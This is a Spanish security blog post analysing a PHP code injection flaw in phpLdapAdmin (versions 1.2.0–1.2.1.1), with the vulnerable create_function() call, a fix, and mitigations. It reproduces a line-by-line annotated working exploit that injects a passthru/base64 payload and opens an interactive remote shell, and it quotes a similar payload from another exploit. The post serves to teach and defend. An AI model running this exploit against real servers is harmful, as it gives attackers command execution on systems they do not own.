Para hoy miércoles tenemos una entrada de Sergio Galán, alias @NaxoneZ, que ya ha colaborado con Security Art Work en el pasado.
Pueden encontrarle en su blog naxonez.wordpress.com o seguirle en Twitter.
phpLdapAdmin es un front PHP que nos sirve para gestionar nuestro LDAP de una manera más cómoda y fácil. Realmente es una aplicación que nos puede facilitar mucho la vida, pero que como todos software, es vulnerable a diferentes fallos que un usuario remoto puede utilizar para hacerse con nuestro sistema. En concreto, el fallo que vamos a ver en esta entrada es del tipo denominado como “PHP Code Injection Vulnerabilities”; para más información sobre este tipo de ataques, pueden visitar la página correspondiente de OWASP.
En concreto, en nuestro caso este fallo nos permitirá la inyección de código en la aplicación e incluso tener una pequeña shell con los permisos con los que esté corriendo el phpldapadmin. El exploit que usaremos para el post es el siguiente: http://downloads.securityfocus.com/vulnerabilities/exploits/50331.txt. Con la información proporcionada por este pequeño exploit vamos a realizar un breve análisis sobre la vulnerabilidad:
- Lo primero que observamos (y que me resulta curioso) es que solo quedan afectadas las versiones entre la 1.2.0 y 1.2.1.1, excluyendo así las versiones más antiguas y evidentemente las más recientes.
- El código afectado se encuentra en /lib/functions.php
- El problema existe debido a que el parámetro $SortBy de la función masort, no se verifica apropiadamente antes de realizar la llamada a create_function().
- Podemos observar como el fallo habría sido mitigado verificando la información que se pasa al create_function(). Un ejemplo de código:
if (! preg_match('/^[a-zA-Z0-9_]+(\([a-zA-Z0-9_,]*\))?$/',$sortby))
De esta manera verificamos que no se cuelan caracteres extraños a esta variable y así podemos llamar al create_function() sin tener este fallo de seguridad.
Una vez localizado el fallo, las versiones afectadas y la posible solución, vamos a analizar el exploit:
// No muestra informe de errores
error_reporting(0);
// Controla el tiempo de ejecución del script
set_time_limit(0);
// default_socket_timeout valdrá siempre 5
ini_set("default_socket_timeout", 5);
// función para abrir socket
function http_send($host, $packet)
{
// Comprueba la conexión con el puerto 80
if (!($sock = fsockopen($host, 80)))
// Mensaje de error
die( "\n[-] No response from {$host}:80\n");
// Escribe en el socket los datos
fwrite($sock, $packet);
// Devuelve salida
return stream_get_contents($sock);
}
[...]
// nombre del host
$host = $argv[1];
// path de instalación del phpldapadmin
$path = $argv[2];
// hace una petición GET al host
$packet = "GET {$path}index.php HTTP/1.0\r\n";
// indica la ip del host (parámetro pasado)
$packet .= "Host: {$host}\r\n";
// cierra conexión
$packet .= "Connection: close\r\n\r\n";
// guarda la cookie en $sid
if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))
// En caso de que no aparezca la directiva Set-Cookie, saldrá del programa dando un error
die("\n[-] Session ID not found!\n");
// Injection
$phpcode="foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*";
// parámetro POST vulnerable
$payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}";
// hace una petición POST
$packet = "POST {$path}cmd.php HTTP/1.0\r\n";
// indica el host (pasado por parámetro)
$packet .= "Host: {$host}\r\n";
// usa la cookie obtenida anteriormente
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Cmd: %s\r\n";
// longitud del contenido
$packet .= "Content-Length: ".strlen($payload)."\r\n";
// tipo de contenido
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
// cierra conexión
$packet .= "Connection: close\r\n\r\n{$payload}";
// nos devuelve una shell
while(1)
{
// muestra phpldapadmin-shell
print "\nphpldapadmin-shell# ";
// si ponemos exit saldrá
if (($cmd = trim(fgets(STDIN))) == "exit") break;
// codifica y envía los datos introducidos en base64 para evitar IDs
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
// en caso de fallo sale
print $m[1] : die("\n[-] Exploit failed!\n");
}
Como podemos ver el exploit es muy sencillo; sólo hace falta encontrar el vector de ataque y aprovecharlo ya que realmente la inyección de código es bastante parecida cuando se da este fallo. Por ejemplo puede visitarse http://dl.packetstormsecurity.net/0810-exploits/phpwebgallery-hijackexec.txt
En este caso podemos observar la linea:
$code="0];}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23";
Que con un poco de observación apreciamos que es bastante parecida a la que nos encontramos en el exploit explicado anteriormente; los comandos se envían codificados en base64 y posteriormente se ejecuta un base64_decode(). Para terminar haremos una PoC usando el exploit mencionado, para ello nos lo bajaremos y lo ejecutaremos desde terminal:
Como podemos observar tenemos los privilegios del usuario apache, ahora únicamente nos falta usar un nuevo exploit para el kernel y de esta manera elevar nuestros privilegios.
Para terminar, existen diferentes soluciones para mitigar este problema. La primera y la más obvia es actualizar nuestro phpldapadmin a la última versió, y otra opción sería añadir un .htaccess con el fin de bloquear las conexiones no deseadas.
Un saludo y hasta la próxima!
Muy chulo el post, felicidades :P